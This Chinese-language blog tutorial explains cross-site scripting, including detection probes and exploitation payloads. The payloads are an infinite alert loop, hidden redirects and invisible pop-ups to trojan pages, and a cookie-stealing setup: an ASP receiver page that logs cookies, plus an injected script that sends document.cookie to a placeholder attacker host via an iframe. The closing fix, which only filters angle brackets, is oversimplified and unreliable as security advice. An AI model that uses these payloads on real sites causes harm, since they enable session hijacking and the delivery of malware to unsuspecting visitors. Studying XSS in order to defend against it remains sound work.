XSS攻击

1. 定义

XSS(Cross Site Script)跨站脚本攻击。指的是攻击者往web页面里插入恶意HTML代码,当用户浏览该网页时,嵌入其web里的HTML代码会被执行,从而达到攻击者的特殊用途。

2. 检测方法

在网页的任何只要有数据输入的地方就有可能存在XSS漏洞!
如果是在留言板类型的网页中,则在网页中让用户输入的对话框中,输入一个简单的HTML超链接标签<a>,比如<a href="">XSS</a>,之后提交,如果新添的留言信息中出现了 XSS 的超链接,则说明该网页有漏洞。
较为直观的,可以直接输入<script>alert('XSS');</script>,提交发表,如果弹出相应对话框,则说明有漏洞。

3. 漏洞利用

3.1 让网页无法正常访问——死循环弹出对话框:
<script>while(ture)alert('XSS')</script>,从而使得浏览器不断弹出对话框,始终无法关闭,除非结束浏览器进程。

3.2 隐藏访问:
此方法稍微无耻点就是增加了目标网站的访问量(比如说注意仅仅是打比方,X宝给X度N多钱,让他在自己的源码中插入X宝网站地址,这样每名用户每次打开X度执行的每一次搜索,都会隐藏地访问了一次X宝。国内有这么多使用X度搜索引擎的用户,这样每天都会为X宝添加了无法计算的点击量。当然这里只是打个比方,相信在很多地方估计X宝的名气都盖过了X度=_=),而危险系数较大的就是让用户不知不觉地访问了木马网页。
法一:<script>window.location.href="目标网页";</script>,该方法是直接跳转,隐藏性不高。
法二:<script>window.open('目标网页', '', 'top=10000, left=10000, height=0, width=0');</script>,该方法是让页面弹出一个高度和宽度都为0,而且座标在屏幕范围之外的新页面来打开目标网页。但诟病是,用户在任务栏上依然能够看到这个新页面的标题按钮。不过攻击者可以修改自己的木马网页,让其自动关闭,这样在用户访问的时候木马网页一闪而过,刚打开就关闭了,绝大多数人是不会在意它的。

3.3 获取用户cookie
什么是cookie?cookie是保存在计算机中,用于记录用户在网页访问过程中输入、保存的一些数据信息。浏览器会把用户名、密码或者是否登录之类的信息保存在cookie中,当用户访问页面时,网页就从客户端的cookie中取出信息处理,这也分担了服务器的一些工作。
举个实例来说,cookie最典型的应用就是判定注册用户是否已经登录网站,这样在跳转同一网站的其他页面时就不必重复登录;又如浏览器常见的自动登录功能,用户可能会收到提示是否在下一次进入此网站时保留用户信息实现免输入登录;另一个重要的场合,比如进行购物网站购物车的处理,用户可能会在一段时间内在同一家购物网站的不同页面中选择不同的商品,这些信息都会保存在cookie中,在最后付款的时候一并提取信息。在浏览器运行该网站时,cookie会存储在内存中发挥其作用,而当用户退出该网站时候,该cookie就存储在计算机的硬盘上。通常一个网站是不可以访问另一个网站的cookie,而当浏览器进程结束时,系统将终止所有的cookie。
简单直观一点,插入<script>alert(document.cookie);</script>,提交,重新访问该页面时,就会弹出浏览者在本站的cookie,关键敏感信息就是用户名及其密码。
这么做似乎效果一般,因为是弹出自己的cookie给自己看。但注意这是前提,攻击者会制作用来接收该cookie信息的页面hack.asp,源码如下

<%
cook = request("cook")  //接收cook参数信息并保存在cook变量中
set fs = server.CreateObject("Scripting.FileSystemObject")  //建立文件操作对象
set file = fs.OpenTextFile(server.MapPath("usercookie.txt"), 8, True)  //打开文件
file.writeline cook  //写入cook变量内容
file.close
set file = nothing
set fs = nothing
%>

这是木马网页端的文件,接下来在漏洞网页中插入脚本

<script>
var temp = document.cookie;
var url = 'http://xxx.xxx/hack.asp?cook='+temp;  //构造木马网页地址
var htmlcode = '<iframe src="' + url + '"></iframe>'  //构造隐藏访问代码
document.write(htmlcode);
</script>

提交,之后任何浏览者在访问该页面时,其在该网站上的cookie信息会自动发送给攻击者。

4. 漏洞填补

HTML是标签语言,所有代码都是用标签括起来才有用,而所有的标签都是要用尖括号<>括起来才有用的。因此我们要做的就是在编写网页源码时添加过滤函数,过滤掉尖括号等特殊字符即可,这样就可以避免XSS的出现了。

5. reference

黑客攻防Web安全实战详解 . 中国铁道出版社
网站入侵与脚本技术快速防杀 . 电子工业出版社

6. 纸上得来终觉浅,绝知此事要躬行。

Over,还望大家期待接下来的Security文章,希望对大家有帮助。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章